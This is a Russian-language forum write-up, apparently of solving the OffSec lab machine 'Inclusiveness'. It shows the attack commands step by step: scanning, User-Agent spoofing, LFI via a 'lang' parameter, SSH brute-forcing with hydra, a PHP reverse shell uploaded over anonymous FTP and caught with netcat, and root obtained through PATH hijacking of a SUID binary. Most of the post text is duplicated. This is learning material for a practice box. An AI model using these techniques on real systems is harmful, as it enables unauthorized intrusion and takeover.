Приветствую!
Стоило мне в предыдущем своем посте написать от том, что мне не попадаются коробки о которых хотелось бы написать, как сразу же мне встречается сказочный зверек в лице Inclusiveness от OffSec. Эта машина сразу же начала давать отпор и я постоянно сталкивался с вещами которые мне не знакомы, а соответствено было чему учиться.
Начнем
Name: Inclusiveness
OffSec level: Easy
Author level: intermediate
Recon/Enum:
Сканирую хост на доступные порты, ОС
Выделяю для себя то что представляет интерес:
Первым делом топаю на 21 порт, так как это быстро:
Вижу директорию pub и иду туда:
и она пустая (((
Ок, двигаемся к HTTP. Перейдя на сайт вижу страницу приветствия Apache2
Ставлю gobuster для поиска скрытых дерикторий:
Пока gobuster трудится, вспоминаю первый раздел методологии OWASP "Сбор информации".
Веб сервер определен, проверяем robots.txt для определения дерикторий закрытых для индексации.
В браузере:
И вижу вот такой месседж
Тут мне вежлево (иди в жоп...) говорят что я не поисковый движок и поэтому не могу просмотреть содержимое файла((( Ну добро, включаю логику!
Если на стороне хоста стоит некий фильтр, то как он работает? Мне говорят что я не поисковый робот, а как фильтр это узнает? Все просто, смотрим строение файла robots.txt в гугле:
И так, нас фильтруют по User-Agent, соответственно нужно подменить его и обратиться от лица поискового робота. Я сделаю это с помощью CURL:
И нам возвращают содержимое файла robots.txt в котором стоит запрет на индексацию /secret_information/
К этому времени gobuster сделал свое дело и не дал результата. Значит идем в
Тут мне рассказывают о некоемом методе атаки, беру себе на карандаш чтоб перед сном почитать))) Вижу две ссылки для смены языка, кликаю каждую.
В обоих случаях в адресной строке мне возвращают строчку вида:
?lang=es.php - обращение на запуск файла php. Первая мысль в голове: - LFI?
Пробую прочитать /etc/passwd. В два раза нахожу корень и ...
Таки да, LFI! Нахожу нейм пользователя
Так как я имею логин, я могу попробовать сбрутить пароль в надежде на то, что он слабый. Ставлю hydra на ssh:
Пока Hydra работает, смортю что еще я могу сделать с LFI. Попробовать прочитать /etc/shadow! Но это не дало результата((( Я мог бы прочитать id_rsa в домашнем каталоге юзера tom:
Но нет(((( И на этой ноте, я начал гуглить и читать все что находил по LFI. Через 40 минут проснулся мелкий и я понял, что на сегодня все... Но оставил hydra работать. Через 2 часа упорного brutforce, я понял что сбрутить видимо не удастся и закрыл комп.((( В течении дня, я копаясь в телефоне находил разные моменты по LFI и все сохранял, чтоб на следующий день пройтись по этим материалам.
День 2-й
Как только я дождался когда ребенок уснет, сразу бросился запускать коробку и пробовать все то, что читал и сохранял. У меня было четкое понимание, что мне нужно что-то с делать с этой уязвимостью, но все материалы собраные мной не давали результата((( Через 2 часа, понимая что ребеного вот-вот встанет, я принял решение которое не люблю принемать, взять подсказку! Реально я исчерпал свои знания в рамках того материала который был мной пройден и усвоен. Решено, иду смотреть подсказку!
Вот что я должен был сделать с этой уязвимостью. Закрываю райтап и двигаюсь читать конфиг ftp сервиса. Таки да, в конфиге прописана возможность заливать файлы на ftp от лица anonymous. Топаю к себе и настраиваю реверс шелл!
Супер, шелл залит! Настраиваем листенера
Оболочка получена))
Наверное у кого-то появилась мысль: - А почему
Отвечаю:
LFI дает возможность обратиться к файлу с целью его чтения, а не исполнения! В данном случаем мы знали, что
Privelage Escalation
Первым делом нам требуется получить стабильную -интерактивную оболочку. Это делается в 3 шага:
Первым делом бросаюсь в каталог пользователя tom:
Опля... А тут сразу задача)) Авторы не заморачивались, теперь понятно с чем работать:
Видим suid файл rootshell и его исходник. Сразу читаю исходник чтоб понять что делает сам файл:
Я не знаю языка С, но имею навыки работы с python. Начинаю копать документацию чтоб разобраться в том, как работает программа.
FILE* f = popen("whoami", "r"); - Все понятно, мы открываем так называемую трубу (я не знаю что это значит) и выполняем системную команду
char user[80]; - задаем переменую user
fgets(user, 80, f); - помещаем в переменую user символы из f
То есть root и вызываем оболочку. Еще раз вернемся к полному коду:
Логика:
При запуске rootshell, происходит вызов сисной команды whoami, которая возвращает имя текущего пользователя. Это имя сравнивается с tom и если они равны, то нам дают оболочку от root!
Пробую запустить
И тут не поспоришь, я не TOM)))
Скажу что я решил что мне нужно подняться на уровень пользователя tom. Я потратил на это 1.5 часа, перебрав все варианты которые знал, но нечего не вышло. Мелкий проснулся, а значит пора заканчивать!
День 3-й
Ночью не мог уснуть((( В голове происходил поиск решений этой задачи. Я понимал что вариантов подняться до tom у меня нет (или я о них не знаю). Закрывая глаза, передомной появлялся код программы (это жесть просто 2 часа ночи).
Ага, мы же обращаемся к whoami не использую полный путь, а что если подменить системную команду на свою? Идея.. Спать!
Утром порешав все дела и уложив мелкого, двинулся в сторону компа тестировать свою ночную догадку...
Так, а если создать псевдо-whoami и вернуть через нее оболочку root? Мы же от рута работаем! (Думал я)
Создал свой whoami. Теперь требуется подставить дерикторию
Ок, пришло время триумфа)))
Не работает((( Почему? Да потому, что rootshell это программа, а не bash скрипт. И в отличии от bash скрипта, даже если файл и выполняет какие-то действия от рута (он же suid root), он не обращается к оболочке как root))) Блин, а чего делать?
Рассуждаем... Если идет вызов whoami через оболочку текущего пользователя и далее следует проверка на
Выпив кофе, сел смотреть
Ага, через
Так-так, мы можем вывести id любого пользователя системы! А можем ли вывести его имя?
Пробую:
Ругается, а так
Та-та-та-тааа!!!! Бинго!!! Переделываю свой
Мы есть ROOT
Итог:
В целом эта коробка заставила меня пострадать и от этого я получил реальный КАЙФФФФ!!! Да, мне пришлось взять подсказку, но мне за нее не стыдно! Угрызений совести или самобичевания нет. Я понимаю, что я бы не решил задачу сам, так как моих знаний было не достаточно. Но теперь я знаю, что нужно составить список конфигов разных сервисов и служб, чтоб в дальнейшем его использовать.
С Уважением!
Стоило мне в предыдущем своем посте написать от том, что мне не попадаются коробки о которых хотелось бы написать, как сразу же мне встречается сказочный зверек в лице Inclusiveness от OffSec. Эта машина сразу же начала давать отпор и я постоянно сталкивался с вещами которые мне не знакомы, а соответствено было чему учиться.
Начнем
Name: Inclusiveness
OffSec level: Easy
Author level: intermediate
Recon/Enum:
Сканирую хост на доступные порты, ОС
nmap -A -p- 192.168.1.8 -vv
Код:
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.49.134
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 06:1b:a3:92:83:a5:7a:15:bd:40:6e:0c:8d:98:27:7b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Yl88LxuiPiXQGaZ6fB6K88oCmL/yXhY4Y3j/9PjnFHPRCqM18y4Ol7Q9LMr5CN042Zs/WMt05YE99R5j98fPGD0hIqxKpRpW8ZeDsfZdG479t3dSkM0OAL+hY4V4Wwbk768DxnLUw0ujGuh38UDl3gyYVBFpFZgRb7zBuYRzjIdWijpXm23sbXti4TO6KTC4KVm1BTzT4CVFxBakuuvk1Ieraeusc9agTfCVx7dkN2OX79jAc1uzZNE+BtokFGIYMvMAA7ejZT504cp1Bccbn+OUwlcRLFJbOO2jrXPj8j4MKEz6klMO7mIMvaHFRQ1Z5kBtH7QIGG97D5qhkD8X
| 256 cb:38:83:26:1a:9f:d3:5d:d3:fe:9b:a1:d3:bc:ab:2c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGNCidfAh8l1B4elJK42/1YqrUEBlGWDjg7ZWacpptAfCGBbSC+agR4LWiEtsnQYX4aWXRGydjc7UggCgpHbDr0=
| 256 65:54:fc:2d:12:ac:e1:84:78:3e:00:23:fb:e4:c9:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJEkCe1XYRTFeHyzWuvZ3JkIkWwD4pGHBcTGEGYYcJhv
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Код:
21 FTP anonymous
80 http apache 2.4.38 OS Debian
ftp 192.168.1.8
Код:
Connected to 192.168.1.8.
220 (vsFTPd 3.0.3)
Name (192.168.1.8:qulan): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx 2 0 0 4096 Feb 08 2020 pub
226 Directory send OK.
ftp>
Код:
cd pub
Ок, двигаемся к HTTP. Перейдя на сайт вижу страницу приветствия Apache2
Ставлю gobuster для поиска скрытых дерикторий:
Код:
gobuster dir -u http://192.168.1.8/ -w /home/qulan/wordlists/dir/directory-list-2.3-medium.txt -t 30 -e
Веб сервер определен, проверяем robots.txt для определения дерикторий закрытых для индексации.
В браузере:
Код:
http://192.168.1.8/robots.txt
Тут мне вежлево (иди в жоп...) говорят что я не поисковый движок и поэтому не могу просмотреть содержимое файла((( Ну добро, включаю логику!
Если на стороне хоста стоит некий фильтр, то как он работает? Мне говорят что я не поисковый робот, а как фильтр это узнает? Все просто, смотрим строение файла robots.txt в гугле:
И так, нас фильтруют по User-Agent, соответственно нужно подменить его и обратиться от лица поискового робота. Я сделаю это с помощью CURL:
Код:
curl http://192.168.1.8/robots.txt --user-agent Googlebot
User-agent: *
Disallow: /secret_information/
К этому времени gobuster сделал свое дело и не дал результата. Значит идем в
Ссылка скрыта от гостей
Тут мне рассказывают о некоемом методе атаки, беру себе на карандаш чтоб перед сном почитать))) Вижу две ссылки для смены языка, кликаю каждую.
В обоих случаях в адресной строке мне возвращают строчку вида:
Код:
http://192.168.1.8/secret_information/?lang=es.php
Пробую прочитать /etc/passwd. В два раза нахожу корень и ...
Таки да, LFI! Нахожу нейм пользователя
tom
Так как я имею логин, я могу попробовать сбрутить пароль в надежде на то, что он слабый. Ставлю hydra на ssh:
Код:
hydra -t 8 -l tom -P /usr/share/wordlists/rockyou.txt -vV 192.168.1.8 ssh
Ссылка скрыта от гостей
Но нет(((( И на этой ноте, я начал гуглить и читать все что находил по LFI. Через 40 минут проснулся мелкий и я понял, что на сегодня все... Но оставил hydra работать. Через 2 часа упорного brutforce, я понял что сбрутить видимо не удастся и закрыл комп.((( В течении дня, я копаясь в телефоне находил разные моменты по LFI и все сохранял, чтоб на следующий день пройтись по этим материалам.
День 2-й
Как только я дождался когда ребенок уснет, сразу бросился запускать коробку и пробовать все то, что читал и сохранял. У меня было четкое понимание, что мне нужно что-то с делать с этой уязвимостью, но все материалы собраные мной не давали результата((( Через 2 часа, понимая что ребеного вот-вот встанет, я принял решение которое не люблю принемать, взять подсказку! Реально я исчерпал свои знания в рамках того материала который был мной пройден и усвоен. Решено, иду смотреть подсказку!
Exploiting LFI
В первом же райтапе нахожу вот это:Вот что я должен был сделать с этой уязвимостью. Закрываю райтап и двигаюсь читать конфиг ftp сервиса. Таки да, в конфиге прописана возможность заливать файлы на ftp от лица anonymous. Топаю к себе и настраиваю реверс шелл!
Код:
ftp 192.168.1.9
cd pub
put shell.php
Код:
local: shell.php remote: shell.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5493 bytes sent in 0.02 secs (356.5002 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-rw- 1 118 125 5493 Apr 12 04:08 shell.php
226 Directory send OK.
nc -lvnp 1234
и через браузер обращаемся к файлу:
Код:
http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php
Код:
nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.1.9 33322
Linux inclusiveness 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64 GNU/Linux
04:15:12 up 12 min, 0 users, load average: 0.00, 0.02, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
http://192.168.1.9/secret_information/?lang=/var/ftp/pub/shell.php
? Мы же не используем тут LFI!Отвечаю:
LFI дает возможность обратиться к файлу с целью его чтения, а не исполнения! В данном случаем мы знали, что
http://192.168.1.9/secret_information/?lang=
ведет к обращению с целью исполнения, так как тут мы обращались к файлам php с языками. Только теперь мы сменили файл с языком на файл с шеллом и прописали полный путь, который прочитали в конфиге.Privelage Escalation
Первым делом нам требуется получить стабильную -интерактивную оболочку. Это делается в 3 шага:
python3 -c 'import pty;pty.spawn("/bin/bash")'
- На этом этапе наша оболочка будет выглядеть немного красивее, но мы по прежнему не сможем использовать автозаполнение вкладок или клавиши со стрелками, а Ctrl + C все равно убьет оболочку.export TERM=xterm
- это даст нам доступ к командам term, таким как clear- В нашем собственном терминале мы используем
stty raw -echo; fg
- Это делает две вещи: во-первых, он отключает наше собственное эхо терминала (что дает нам доступ к автозаполнению вкладок, клавишам со стрелками и Ctrl + C для уничтожения процессов). Затем он переводит оболочку на передний план, завершая процесс.
Первым делом бросаюсь в каталог пользователя tom:
Код:
www-data@inclusiveness:/$ cd /home/tom && ls -la
Код:
total 100
drwxr-xr-x 15 tom tom 4096 Feb 8 2020 .
drwxr-xr-x 3 root root 4096 Feb 8 2020 ..
-rw------- 1 tom tom 684 Feb 8 2020 .ICEauthority
-rw-r--r-- 1 tom tom 220 Feb 8 2020 .bash_logout
-rw-r--r-- 1 tom tom 3526 Feb 8 2020 .bashrc
drwx------ 10 tom tom 4096 Feb 8 2020 .cache
drwx------ 10 tom tom 4096 Feb 8 2020 .config
drwx------ 3 tom tom 4096 Feb 8 2020 .gnupg
drwx------ 3 tom tom 4096 Feb 8 2020 .local
-rw-r--r-- 1 tom tom 807 Feb 8 2020 .profile
drwx------ 2 tom tom 4096 Feb 8 2020 .ssh
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Desktop
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Documents
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Downloads
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Music
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Pictures
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Public
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Templates
drwxr-xr-x 2 tom tom 4096 Feb 8 2020 Videos
-rwsr-xr-x 1 root root 16976 Feb 8 2020 rootshell
-rw-r--r-- 1 tom tom 448 Feb 8 2020 rootshell.c
Код:
-rwsr-xr-x 1 root root 16976 Feb 8 2020 rootshell
-rw-r--r-- 1 tom tom 448 Feb 8 2020 rootshell.c
www-data@inclusiveness:/home/tom$ cat rootshell.c
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
FILE* f = popen("whoami", "r"); - Все понятно, мы открываем так называемую трубу (я не знаю что это значит) и выполняем системную команду
whoami
и помещаем в переменую fchar user[80]; - задаем переменую user
fgets(user, 80, f); - помещаем в переменую user символы из f
Код:
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
strncmp
- Функция побайтно сравнивает коды символов двух строк, на которые указывают аргументы функции. В нашем случае, мы сравниваем первые 3 символа в user c tom и если они True то устанавливаем uid:То есть root и вызываем оболочку. Еще раз вернемся к полному коду:
Код:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
char user[80];
fgets(user, 80, f);
printf("you are: %s\n", user);
//printf("your euid is: %i\n", geteuid());
if (strncmp(user, "tom", 3) == 0) {
printf("access granted.\n");
setuid(geteuid());
execlp("sh", "sh", (char *) 0);
}
}
При запуске rootshell, происходит вызов сисной команды whoami, которая возвращает имя текущего пользователя. Это имя сравнивается с tom и если они равны, то нам дают оболочку от root!
Пробую запустить
rootshell
:И тут не поспоришь, я не TOM)))
Скажу что я решил что мне нужно подняться на уровень пользователя tom. Я потратил на это 1.5 часа, перебрав все варианты которые знал, но нечего не вышло. Мелкий проснулся, а значит пора заканчивать!
День 3-й
Ночью не мог уснуть((( В голове происходил поиск решений этой задачи. Я понимал что вариантов подняться до tom у меня нет (или я о них не знаю). Закрывая глаза, передомной появлялся код программы (это жесть просто 2 часа ночи).
Код:
int main() {
printf("checking if you are tom...\n");
FILE* f = popen("whoami", "r");
Утром порешав все дела и уложив мелкого, двинулся в сторону компа тестировать свою ночную догадку...
Так, а если создать псевдо-whoami и вернуть через нее оболочку root? Мы же от рута работаем! (Думал я)
Код:
www-data@inclusiveness:/home/tom$ echo '/bin/sh' > /tmp/whoami
www-data@inclusiveness:/home/tom$ chmod +x /tmp/whoami
/tmp
в окружение, чтоб оболочка обратилась имено к псевдо -whoami.
Код:
www-data@inclusiveness:/home/tom$ export PATH=/tmp:$PATH
www-data@inclusiveness:/home/tom$ $PATH
bash: /tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin: No such file or directory
Не работает((( Почему? Да потому, что rootshell это программа, а не bash скрипт. И в отличии от bash скрипта, даже если файл и выполняет какие-то действия от рута (он же suid root), он не обращается к оболочке как root))) Блин, а чего делать?
Рассуждаем... Если идет вызов whoami через оболочку текущего пользователя и далее следует проверка на
tom
, то каким-то образом наш псевдо -whoami должен вернуть имя пользователя tom. Сделал кофе, притромбовал трубку и закурил... Ок, думаю я, стандартная команда whoami возвращает имя пользователя, но у нас же есть еще и команда id, которая возвращает имя, группы и id.Выпив кофе, сел смотреть
man id
Код:
-u, --user
print only the effective user ID
id -u name
, мы можем вернуть ID указаного юзера. Пробуем..Так-так, мы можем вывести id любого пользователя системы! А можем ли вывести его имя?
Код:
-n, --name
print a name instead of a number, for -ugG
Код:
www-data@inclusiveness:/home/tom$ id -n 1000
id: cannot print only names or real IDs in default format
id -un 1000
Та-та-та-тааа!!!! Бинго!!! Переделываю свой
whoami
и запускаю rootshell
Код:
www-data@inclusiveness:/home/tom$ ./rootshell
checking if you are tom...
you are: tom
access granted.
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
#
Итог:
В целом эта коробка заставила меня пострадать и от этого я получил реальный КАЙФФФФ!!! Да, мне пришлось взять подсказку, но мне за нее не стыдно! Угрызений совести или самобичевания нет. Я понимаю, что я бы не решил задачу сам, так как моих знаний было не достаточно. Но теперь я знаю, что нужно составить список конфигов разных сервисов и служб, чтоб в дальнейшем его использовать.
С Уважением!
Последнее редактирование: